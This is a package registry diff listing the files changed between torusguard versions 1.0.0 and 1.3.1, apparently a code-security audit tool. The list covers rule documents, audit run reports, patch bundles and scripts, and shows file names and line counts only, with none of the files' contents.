torusguard 1.0.0 → 1.3.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.torusguard/.manifest.json +196 -78
- package/.torusguard/references/csharp-security.md +41 -0
- package/.torusguard/references/go-security.md +41 -0
- package/.torusguard/references/java-security.md +40 -0
- package/.torusguard/references/polyglot-security-matrix.md +25 -0
- package/.torusguard/references/rust-security.md +40 -0
- package/.torusguard/rules/README.md +93 -62
- package/.torusguard/rules/TG-AUTH-001-weak-password-storage.md +103 -0
- package/.torusguard/rules/TG-AUTH-002-client-only-authorization.md +85 -0
- package/.torusguard/rules/TG-AUTH-003-missing-object-authorization.md +85 -0
- package/.torusguard/rules/TG-AUTH-004-insecure-session-cookie.md +96 -0
- package/.torusguard/rules/TG-AUTH-005-unsafe-password-reset.md +104 -0
- package/.torusguard/rules/TG-CLIENT-001-public-production-source-maps.md +102 -0
- package/.torusguard/rules/TG-CLIENT-002-sensitive-client-bundle-content.md +102 -0
- package/.torusguard/rules/TG-DB-001-frontend-database-query.md +83 -0
- package/.torusguard/rules/TG-DB-002-privileged-database-credential.md +86 -0
- package/.torusguard/rules/TG-DB-003-frontend-admin-sdk.md +91 -0
- package/.torusguard/rules/TG-DB-004-missing-tenant-query-isolation.md +103 -0
- package/.torusguard/rules/TG-INPUT-001-missing-server-validation.md +98 -0
- package/.torusguard/rules/TG-INPUT-002-raw-sql-concatenation.md +94 -0
- package/.torusguard/rules/TG-INPUT-003-unsafe-html-or-code-execution.md +102 -0
- package/.torusguard/rules/TG-INPUT-004-unrestricted-file-upload.md +92 -0
- package/.torusguard/rules/TG-INPUT-005-unsafe-template-rendering-and-escaping.md +102 -0
- package/.torusguard/rules/TG-INPUT-006-unsafe-file-path-traversal.md +131 -0
- package/.torusguard/rules/TG-PLATFORM-001-wildcard-cors-with-credentials.md +101 -0
- package/.torusguard/rules/TG-PLATFORM-002-missing-security-headers.md +95 -0
- package/.torusguard/rules/TG-PLATFORM-003-production-stack-trace-exposure.md +94 -0
- package/.torusguard/rules/TG-PLATFORM-004-missing-request-size-limits.md +102 -0
- package/.torusguard/rules/TG-RATE-001-unlimited-auth-endpoint.md +112 -0
- package/.torusguard/rules/TG-RATE-002-unlimited-public-write-endpoint.md +109 -0
- package/.torusguard/rules/TG-RATE-003-unbounded-resource-consumption.md +105 -0
- package/.torusguard/rules/TG-SEC-001-hardcoded-secrets.md +83 -0
- package/.torusguard/rules/TG-SEC-002-public-environment-secrets.md +83 -0
- package/.torusguard/rules/TG-SEC-003-tracked-env-file.md +79 -0
- package/.torusguard/rules/TG-SEC-004-sensitive-logging.md +83 -0
- package/.torusguard/rules/active/TG-AUTH-001-weak-password-storage.md +103 -0
- package/.torusguard/rules/active/TG-AUTH-002-client-only-authorization.md +85 -0
- package/.torusguard/rules/active/TG-AUTH-003-missing-object-authorization.md +85 -0
- package/.torusguard/rules/active/TG-AUTH-004-insecure-session-cookie.md +96 -0
- package/.torusguard/rules/active/TG-AUTH-005-unsafe-password-reset.md +104 -0
- package/.torusguard/rules/active/TG-CLIENT-001-public-production-source-maps.md +102 -0
- package/.torusguard/rules/active/TG-CLIENT-002-sensitive-client-bundle-content.md +102 -0
- package/.torusguard/rules/active/TG-DB-001-frontend-database-query.md +83 -0
- package/.torusguard/rules/active/TG-DB-002-privileged-database-credential.md +86 -0
- package/.torusguard/rules/active/TG-DB-003-frontend-admin-sdk.md +91 -0
- package/.torusguard/rules/active/TG-DB-004-missing-tenant-query-isolation.md +103 -0
- package/.torusguard/rules/active/TG-INPUT-001-missing-server-validation.md +98 -0
- package/.torusguard/rules/active/TG-INPUT-002-raw-sql-concatenation.md +94 -0
- package/.torusguard/rules/active/TG-INPUT-003-unsafe-html-or-code-execution.md +102 -0
- package/.torusguard/rules/active/TG-INPUT-004-unrestricted-file-upload.md +92 -0
- package/.torusguard/rules/active/TG-INPUT-005-unsafe-template-rendering-and-escaping.md +102 -0
- package/.torusguard/rules/active/TG-INPUT-006-unsafe-file-path-traversal.md +131 -0
- package/.torusguard/rules/active/TG-PLATFORM-001-wildcard-cors-with-credentials.md +101 -0
- package/.torusguard/rules/active/TG-PLATFORM-002-missing-security-headers.md +95 -0
- package/.torusguard/rules/active/TG-PLATFORM-003-production-stack-trace-exposure.md +94 -0
- package/.torusguard/rules/active/TG-PLATFORM-004-missing-request-size-limits.md +102 -0
- package/.torusguard/rules/active/TG-RATE-001-unlimited-auth-endpoint.md +112 -0
- package/.torusguard/rules/active/TG-RATE-002-unlimited-public-write-endpoint.md +109 -0
- package/.torusguard/rules/active/TG-RATE-003-unbounded-resource-consumption.md +105 -0
- package/.torusguard/rules/active/TG-SEC-001-hardcoded-secrets.md +83 -0
- package/.torusguard/rules/active/TG-SEC-002-public-environment-secrets.md +83 -0
- package/.torusguard/rules/active/TG-SEC-003-tracked-env-file.md +79 -0
- package/.torusguard/rules/active/TG-SEC-004-sensitive-logging.md +83 -0
- package/.torusguard/rules/agent/TG-AGENT-001-prompt-injection-system-context.md +56 -0
- package/.torusguard/rules/agent/TG-AGENT-002-unsafe-tool-dispatch-unsandboxed-execution.md +68 -0
- package/.torusguard/rules/agent/TG-AGENT-003-broad-mcp-tool-scoping.md +53 -0
- package/.torusguard/rules/agent/TG-AGENT-004-persistent-memory-cross-session-leakage.md +67 -0
- package/.torusguard/rules/authorization/TG-AUTH-006-mass-assignment.md +70 -0
- package/.torusguard/rules/authorization/TG-AUTH-007-missing-property-level-authorization.md +71 -0
- package/.torusguard/rules/authorization/TG-AUTH-008-untrusted-role-header-injection.md +112 -0
- package/.torusguard/rules/business-logic/TG-BIZ-001-client-controlled-sensitive-business-value.md +37 -0
- package/.torusguard/rules/business-logic/TG-BIZ-002-replayable-one-time-operation.md +37 -0
- package/.torusguard/rules/business-logic/TG-BIZ-003-missing-workflow-state-validation.md +37 -0
- package/.torusguard/rules/business-logic/TG-BIZ-004-unrestricted-sensitive-business-flow.md +37 -0
- package/.torusguard/rules/cache/TG-CACHE-001-sensitive-response-publicly-cacheable.md +37 -0
- package/.torusguard/rules/cache/TG-CACHE-002-missing-user-cache-isolation.md +37 -0
- package/.torusguard/rules/cache/TG-CACHE-003-sensitive-data-in-url.md +37 -0
- package/.torusguard/rules/csrf/TG-CSRF-001-missing-csrf-protection.md +37 -0
- package/.torusguard/rules/csrf/TG-CSRF-002-unsafe-credentialed-cross-origin-request.md +37 -0
- package/.torusguard/rules/custom/.gitkeep +1 -0
- package/.torusguard/rules/custom/README.md +30 -0
- package/.torusguard/rules/edge/TG-EDGE-001-serverless-global-state-leak.md +83 -0
- package/.torusguard/rules/edge/TG-EDGE-003-aws-lambda-ephemeral-cold-start.md +76 -0
- package/.torusguard/rules/graphql/TG-GQL-001-missing-query-depth-or-complexity-limits.md +64 -0
- package/.torusguard/rules/graphql/TG-GQL-002-resolver-missing-authorization.md +37 -0
- package/.torusguard/rules/graphql/TG-GQL-003-unbounded-graphql-pagination-or-batching.md +37 -0
- package/.torusguard/rules/graphql/TG-GQL-004-unnecessary-production-introspection.md +37 -0
- package/.torusguard/rules/secrets/TG-SEC-005-secret-in-git-history.md +37 -0
- package/.torusguard/rules/secrets/TG-SEC-006-secret-in-build-artifact.md +37 -0
- package/.torusguard/rules/secrets/TG-SEC-007-secret-in-test-or-example-fixture.md +37 -0
- package/.torusguard/rules/ssrf/TG-SSRF-001-user-controlled-server-side-url-fetch.md +68 -0
- package/.torusguard/rules/ssrf/TG-SSRF-002-missing-internal-network-protection.md +37 -0
- package/.torusguard/rules/ssrf/TG-SSRF-003-unsafe-redirect-following.md +37 -0
- package/.torusguard/rules/ssrf/TG-SSRF-004-unbounded-outbound-request.md +37 -0
- package/.torusguard/rules/supply-chain/TG-SUPPLY-001-missing-or-ignored-dependency-lockfile.md +37 -0
- package/.torusguard/rules/supply-chain/TG-SUPPLY-002-vulnerable-dependency-review-missing.md +94 -0
- package/.torusguard/rules/supply-chain/TG-SUPPLY-003-unsafe-ci-cd-secret-exposure.md +37 -0
- package/.torusguard/rules/supply-chain/TG-SUPPLY-004-unpinned-ci-action.md +37 -0
- package/.torusguard/rules/supply-chain/TG-SUPPLY-005-unsafe-dependency-install-script.md +37 -0
- package/.torusguard/rules/supply-chain/TG-SUPPLY-006-container-build-secret-persistence.md +61 -0
- package/.torusguard/rules/webhook/TG-WEBHOOK-001-missing-webhook-signature-verification.md +37 -0
- package/.torusguard/rules/webhook/TG-WEBHOOK-002-replayable-webhook.md +37 -0
- package/.torusguard/rules/webhook/TG-WEBHOOK-003-missing-webhook-idempotency.md +37 -0
- package/.torusguard/rules/webhook/TG-WEBHOOK-004-unvalidated-webhook-event-type.md +37 -0
- package/.torusguard/rules/websocket/TG-WS-001-unauthenticated-websocket-handshake.md +82 -0
- package/.torusguard/rules/websocket/TG-WS-002-missing-channel-level-authorization.md +37 -0
- package/.torusguard/rules/websocket/TG-WS-003-unvalidated-websocket-message.md +37 -0
- package/.torusguard/rules/websocket/TG-WS-004-unbounded-websocket-connections.md +37 -0
- package/.torusguard/runs/report-latest.html +370 -0
- package/.torusguard/runs/run-20260908-112648-audit/findings.json +1520 -0
- package/.torusguard/runs/run-20260908-112648-audit/findings.md +560 -0
- package/.torusguard/runs/run-20260908-112648-audit/manifest.json +12 -0
- package/.torusguard/runs/run-20260908-112648-audit/summary.md +5 -0
- package/.torusguard/runs/run-20260908-112722-audit/findings.json +1520 -0
- package/.torusguard/runs/run-20260908-112722-audit/findings.md +560 -0
- package/.torusguard/runs/run-20260908-112722-audit/manifest.json +12 -0
- package/.torusguard/runs/run-20260908-112722-audit/summary.md +5 -0
- package/.torusguard/runs/run-20260908-113004-audit/findings.json +1520 -0
- package/.torusguard/runs/run-20260908-113004-audit/findings.md +560 -0
- package/.torusguard/runs/run-20260908-113004-audit/manifest.json +12 -0
- package/.torusguard/runs/run-20260908-113004-audit/summary.md +5 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-115-9a059e/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-115-9a059e/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-115-9a059e/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-119-61557c/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-119-61557c/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-119-61557c/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-265-996ca3/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-265-996ca3/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-265-996ca3/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-334-cb819d/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-334-cb819d/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-334-cb819d/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-503-d11cf8/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-503-d11cf8/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-503-d11cf8/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-79-91f41f/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-79-91f41f/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-79-91f41f/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-002-107-516a40/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-002-107-516a40/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-002-107-516a40/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-002-128-7809a1/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-002-128-7809a1/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-002-128-7809a1/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-002-232-1b45d1/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-002-232-1b45d1/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-002-232-1b45d1/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-003-53-d167b4/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-003-53-d167b4/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-003-53-d167b4/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-209-4f6424/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-209-4f6424/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-209-4f6424/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-257-89bf34/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-257-89bf34/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-257-89bf34/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-341-ce228c/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-341-ce228c/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-341-ce228c/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-355-7b190b/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-355-7b190b/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-355-7b190b/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-64-5af31a/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-64-5af31a/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-64-5af31a/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-9-f51467/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-9-f51467/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-9-f51467/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-113127-audit/findings.json +1520 -0
- package/.torusguard/runs/run-20260908-113127-audit/findings.md +560 -0
- package/.torusguard/runs/run-20260908-113127-audit/manifest.json +13 -0
- package/.torusguard/runs/run-20260908-113127-audit/remediation.md +262 -0
- package/.torusguard/runs/run-20260908-113127-audit/summary.md +5 -0
- package/.torusguard/runs/run-20260908-115240-audit/apply_plan.md +6 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-115-9a059e/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-115-9a059e/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-115-9a059e/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-119-61557c/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-119-61557c/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-119-61557c/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-265-996ca3/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-265-996ca3/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-265-996ca3/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-334-cb819d/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-334-cb819d/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-334-cb819d/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-503-d11cf8/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-503-d11cf8/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-503-d11cf8/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-79-91f41f/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-79-91f41f/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-79-91f41f/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-002-107-516a40/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-002-107-516a40/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-002-107-516a40/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-002-128-7809a1/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-002-128-7809a1/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-002-128-7809a1/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-002-232-1b45d1/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-002-232-1b45d1/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-002-232-1b45d1/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-003-53-d167b4/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-003-53-d167b4/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-003-53-d167b4/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-platform-001-168-5027cb/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-platform-001-168-5027cb/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-platform-001-168-5027cb/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-209-4f6424/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-209-4f6424/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-209-4f6424/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-257-89bf34/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-257-89bf34/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-257-89bf34/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-341-ce228c/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-341-ce228c/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-341-ce228c/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-355-7b190b/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-355-7b190b/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-355-7b190b/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-64-5af31a/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-64-5af31a/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-64-5af31a/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-9-f51467/metadata.json +15 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-9-f51467/minimal_patch_plan.md +21 -0
- package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-9-f51467/patch.diff +9 -0
- package/.torusguard/runs/run-20260908-115240-audit/diff_summary.md +221 -0
- package/.torusguard/runs/run-20260908-115240-audit/findings.json +1553 -0
- package/.torusguard/runs/run-20260908-115240-audit/findings.md +572 -0
- package/.torusguard/runs/run-20260908-115240-audit/manifest.json +14 -0
- package/.torusguard/runs/run-20260908-115240-audit/recheck.md +91 -0
- package/.torusguard/runs/run-20260908-115240-audit/remediation.md +278 -0
- package/.torusguard/runs/run-20260908-115240-audit/summary.md +5 -0
- package/.torusguard/schemas/golden-recipe.schema.json +75 -0
- package/.torusguard/scripts/__pycache__/audit_runner.cpython-311.pyc +0 -0
- package/.torusguard/scripts/__pycache__/finding_scorer.cpython-311.pyc +0 -0
- package/.torusguard/scripts/__pycache__/memory_engine.cpython-311.pyc +0 -0
- package/.torusguard/scripts/__pycache__/monorepo_detector.cpython-311.pyc +0 -0
- package/.torusguard/scripts/__pycache__/run_manager.cpython-311.pyc +0 -0
- package/.torusguard/scripts/__pycache__/stack_detect.cpython-311.pyc +0 -0
- package/.torusguard/scripts/apply_runner.py +332 -0
- package/.torusguard/scripts/audit_runner.py +550 -0
- package/.torusguard/scripts/diff_guard.py +183 -8
- package/.torusguard/scripts/finding_scorer.py +91 -5
- package/.torusguard/scripts/harden_runner.py +353 -0
- package/.torusguard/scripts/html_reporter.py +643 -0
- package/.torusguard/scripts/manifest_builder.py +7 -5
- package/.torusguard/scripts/memory_engine.py +525 -99
- package/.torusguard/scripts/monorepo_detector.py +123 -10
- package/.torusguard/scripts/recheck_runner.py +221 -0
- package/.torusguard/scripts/recipes_runner.py +130 -0
- package/.torusguard/scripts/rules_sync.py +321 -0
- package/.torusguard/scripts/run_manager.py +17 -5
- package/.torusguard/scripts/stack_detect.py +458 -26
- package/.torusguard/skills/torusguard/SKILL.md +42 -42
- package/.torusguard/skills/torusguard/references/csharp-security.md +41 -0
- package/.torusguard/skills/torusguard/references/go-security.md +41 -0
- package/.torusguard/skills/torusguard/references/java-security.md +40 -0
- package/.torusguard/skills/torusguard/references/polyglot-security-matrix.md +25 -0
- package/.torusguard/skills/torusguard/references/rust-security.md +40 -0
- package/.torusguard/snapshots/run-20260908-115240-audit/examples/vulnerable-react-express/client/src/App.jsx.bak +63 -0
- package/.torusguard/snapshots/run-20260908-115240-audit/examples/vulnerable-react-express/server/index.js.bak +82 -0
- package/.torusguard/snapshots/run-20260908-115240-audit/harness/engine/fixture_manager.py.bak +245 -0
- package/.torusguard/snapshots/run-20260908-115240-audit/harness/master_validation.py.bak +698 -0
- package/.torusguard/snapshots/run-20260908-115240-audit/harness/runner.py.bak +551 -0
- package/.torusguard/snapshots/run-20260908-115240-audit/harness/validate_e2e.py.bak +498 -0
- package/.torusguard/snapshots/run-20260908-115240-audit/harness/validate_qa_v0_6_0.py.bak +572 -0
- package/.torusguard/snapshots/run-20260908-115240-audit/harness/validate_v0_6_1_scale.py.bak +371 -0
- package/.torusguard/snapshots/run-20260908-115240-audit/harness/validate_v0_6_2_modern_stacks.py.bak +462 -0
- package/.torusguard/snapshots/run-20260908-115240-audit/harness/validate_v0_6_3_hardening.py.bak +444 -0
- package/.torusguard/snapshots/run-20260908-115240-audit/harness/validate_v1_0_0_memory.py.bak +302 -0
- package/.torusguard/snapshots/run-20260908-115240-audit/harness/validate_v1_1_0_advanced_memory.py.bak +342 -0
- package/.torusguard/snapshots/run-20260908-115240-audit/skills/torusguard/payload/scripts/harden_runner.py.bak +353 -0
- package/.torusguard/snapshots/run-20260908-115240-audit/tests/test_v0_6_0_governed_remediation.py.bak +353 -0
- package/README.md +344 -410
- package/bin/torusguard.js +195 -21
- package/package.json +1 -1
- package/skills/torusguard/SKILL.md +42 -42
- package/skills/torusguard/bootstrap.py +149 -70
- package/skills/torusguard/payload/.manifest.json +196 -78
- package/skills/torusguard/payload/references/csharp-security.md +41 -0
- package/skills/torusguard/payload/references/go-security.md +41 -0
- package/skills/torusguard/payload/references/java-security.md +40 -0
- package/skills/torusguard/payload/references/polyglot-security-matrix.md +25 -0
- package/skills/torusguard/payload/references/rust-security.md +40 -0
- package/skills/torusguard/payload/rules/README.md +93 -62
- package/skills/torusguard/payload/rules/TG-AUTH-001-weak-password-storage.md +103 -0
- package/skills/torusguard/payload/rules/TG-AUTH-002-client-only-authorization.md +85 -0
- package/skills/torusguard/payload/rules/TG-AUTH-003-missing-object-authorization.md +85 -0
- package/skills/torusguard/payload/rules/TG-AUTH-004-insecure-session-cookie.md +96 -0
- package/skills/torusguard/payload/rules/TG-AUTH-005-unsafe-password-reset.md +104 -0
- package/skills/torusguard/payload/rules/TG-CLIENT-001-public-production-source-maps.md +102 -0
- package/skills/torusguard/payload/rules/TG-CLIENT-002-sensitive-client-bundle-content.md +102 -0
- package/skills/torusguard/payload/rules/TG-DB-001-frontend-database-query.md +83 -0
- package/skills/torusguard/payload/rules/TG-DB-002-privileged-database-credential.md +86 -0
- package/skills/torusguard/payload/rules/TG-DB-003-frontend-admin-sdk.md +91 -0
- package/skills/torusguard/payload/rules/TG-DB-004-missing-tenant-query-isolation.md +103 -0
- package/skills/torusguard/payload/rules/TG-INPUT-001-missing-server-validation.md +98 -0
- package/skills/torusguard/payload/rules/TG-INPUT-002-raw-sql-concatenation.md +94 -0
- package/skills/torusguard/payload/rules/TG-INPUT-003-unsafe-html-or-code-execution.md +102 -0
- package/skills/torusguard/payload/rules/TG-INPUT-004-unrestricted-file-upload.md +92 -0
- package/skills/torusguard/payload/rules/TG-INPUT-005-unsafe-template-rendering-and-escaping.md +102 -0
- package/skills/torusguard/payload/rules/TG-INPUT-006-unsafe-file-path-traversal.md +131 -0
- package/skills/torusguard/payload/rules/TG-PLATFORM-001-wildcard-cors-with-credentials.md +101 -0
- package/skills/torusguard/payload/rules/TG-PLATFORM-002-missing-security-headers.md +95 -0
- package/skills/torusguard/payload/rules/TG-PLATFORM-003-production-stack-trace-exposure.md +94 -0
- package/skills/torusguard/payload/rules/TG-PLATFORM-004-missing-request-size-limits.md +102 -0
- package/skills/torusguard/payload/rules/TG-RATE-001-unlimited-auth-endpoint.md +112 -0
- package/skills/torusguard/payload/rules/TG-RATE-002-unlimited-public-write-endpoint.md +109 -0
- package/skills/torusguard/payload/rules/TG-RATE-003-unbounded-resource-consumption.md +105 -0
- package/skills/torusguard/payload/rules/TG-SEC-001-hardcoded-secrets.md +83 -0
- package/skills/torusguard/payload/rules/TG-SEC-002-public-environment-secrets.md +83 -0
- package/skills/torusguard/payload/rules/TG-SEC-003-tracked-env-file.md +79 -0
- package/skills/torusguard/payload/rules/TG-SEC-004-sensitive-logging.md +83 -0
- package/skills/torusguard/payload/rules/active/TG-AUTH-001-weak-password-storage.md +103 -0
- package/skills/torusguard/payload/rules/active/TG-AUTH-002-client-only-authorization.md +85 -0
- package/skills/torusguard/payload/rules/active/TG-AUTH-003-missing-object-authorization.md +85 -0
- package/skills/torusguard/payload/rules/active/TG-AUTH-004-insecure-session-cookie.md +96 -0
- package/skills/torusguard/payload/rules/active/TG-AUTH-005-unsafe-password-reset.md +104 -0
- package/skills/torusguard/payload/rules/active/TG-CLIENT-001-public-production-source-maps.md +102 -0
- package/skills/torusguard/payload/rules/active/TG-CLIENT-002-sensitive-client-bundle-content.md +102 -0
- package/skills/torusguard/payload/rules/active/TG-DB-001-frontend-database-query.md +83 -0
- package/skills/torusguard/payload/rules/active/TG-DB-002-privileged-database-credential.md +86 -0
- package/skills/torusguard/payload/rules/active/TG-DB-003-frontend-admin-sdk.md +91 -0
- package/skills/torusguard/payload/rules/active/TG-DB-004-missing-tenant-query-isolation.md +103 -0
- package/skills/torusguard/payload/rules/active/TG-INPUT-001-missing-server-validation.md +98 -0
